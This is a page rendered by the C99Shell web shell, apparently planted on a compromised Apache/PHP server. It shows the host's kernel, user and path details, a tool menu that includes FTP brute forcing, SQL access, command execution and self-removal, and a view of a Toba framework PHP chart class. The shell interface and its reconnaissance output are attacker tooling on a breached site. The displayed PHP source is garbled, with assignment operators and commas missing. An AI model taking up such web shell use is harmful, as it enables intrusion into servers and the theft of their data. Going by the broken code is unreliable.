!C99Shell v. 2.1 [PHP 8 Update] [02.02.2022]!

Software: Apache/2.4.53 (Unix) OpenSSL/1.1.1o PHP/7.4.29 mod_perl/2.0.12 Perl/v5.34.1. PHP/7.4.29 

uname -a: Linux vps-2738122-x 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64 

uid=1(daemon) gid=1(daemon) grupos=1(daemon) 

Safe-mode: OFF (not secure)

/opt/apex_led/php/nucleo/componentes/interface/   drwxrwxr-x
Free 13.78 GB of 61.93 GB (22.25%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     toba_ei_grafico.php (3.18 KB)      -rwxrwxr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/**
 * Genera un Grafico
 * @package Componentes
 * @subpackage Eis
 * @jsdoc ei ei
 * @wiki Referencia/Objetos/ei_grafico
 *
 */
class toba_ei_grafico extends toba_ei
{
    protected 
$_tipo;
    protected 
$_alto;
    protected 
$_ancho;

    
/**
     * @var toba_ei_grafico_conf
     */
    
protected $_conf;
    
    protected 
$_archivo_generado;  // Archivo generado por las instrucciones
    
protected $s__path;

    final function 
__construct($id)
    {
        
parent::__construct($id);
        
$this->_alto  get_var($this->_info_grafico['alto'], 300);
        
$this->_ancho get_var($this->_info_grafico['ancho'], 650);
        
$this->_tipo  get_var($this->_info_grafico['grafico']);
        
$this->ini_conf();
        
//TODO: Hack para navegacion ajax con windows
        
toba_ci::set_navegacion_ajax(false);
    }

    function 
ini()
    {
        
// Instancia $this->grafico
    
}

    protected function 
ini_conf()
    {
        
// pie | bar | lin | otro
        
switch ($this->_tipo) {
            case 
'pie':
                
$this->_conf = new toba_ei_grafico_conf_torta($this->_ancho$this->_alto);
                break;
            case 
'bar':
                
$this->_conf = new toba_ei_grafico_conf_barras($this->_ancho$this->_alto);
                break;
            case 
'lin':
                
$this->_conf = new toba_ei_grafico_conf_lineas($this->_ancho$this->_alto);
                break;
            case 
'otro':
                
$this->_conf = new toba_ei_grafico_conf();
            default: break;
        }
    }

    
/**
     *
     * @return toba_ei_grafico_conf
     */
    
function conf()
    {        
        return 
$this->_conf;
    }

    
/**
     * Cambia el esquema actual
     * @param string $datos 
     */
    
function set_datos($datos)
    {}

    function 
generar_html()
    {
        echo 
"\n<table class='ei-base ei-esquema-base'>\n";
        echo
"<tr><td style='padding:0'>\n";
        echo 
$this->get_html_barra_editor();
        
$this->generar_html_barra_sup(nulltrue"ei-esquema-barra-sup");
        
$colapsado = (isset($this->_colapsado) && $this->_colapsado) ? "style='display:none'" "";
        echo 
"<div $colapsado id='cuerpo_{$this->objeto_js}'>";
        
//Campo de sincronizacion con JS
        
echo toba_form::hidden($this->_submit'');

        
$this->s__path toba_dir().'/temp/'.uniqid().'.png';
        try {
            
$this->_conf->imagen__generar($this->s__path);
        } catch (
JpGraphException $e) {

            throw new 
toba_error("TOBA EI GRAFICO: Error en la librería jpgraph. 
                El error reportado fue el siguiente: '"
.$e->getMessage()."'. Si este
                es un error de fuentes intente definir el path de las fuentes en
                su sistema a través de la entrada fonts_path en el archivo instancia.ini.
                Ejemplo: 'fonts_path = /usr/share/fonts/truetype/msttcorefonts/'"
);
        }
        

        
$destino = array($this->_id);
        
$url toba::vinculador()->get_url(nullnull, array(), array('servicio' => 'mostrar_imagen',
                    
'objetos_destino' => $destino));
        echo 
"<img src='$url$this->_ancho $this->_alto border='0'>";

        
//$this->generar_botones();
        
echo "</div></td></tr>\n";
        echo 
"</table>\n";
    }

    
/**
     * Elimina la imagen generada del gráfico
     */
    
function servicio__mostrar_imagen($parametros null)
    {
        
$handle fopen($this->s__path'rb');
        
fpassthru($handle);
        
fclose($handle);
        
unlink($this->s__path);
    }
    
    
/**
     * Realiza la exportacion a pdf del gráfico
     * @param toba_vista_pdf $salida 
     */
    
function vista_pdf(toba_vista_pdf $salida )
    {
        
$this->_conf->imagen__generar($this->s__path);
        
$salida->insertar_imagen($this->s__path);
    }
}

?>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.1 [PHP 8 Update] [02.02.2022] maintained byC99Shell Github | Generation time: 0.4818 ]--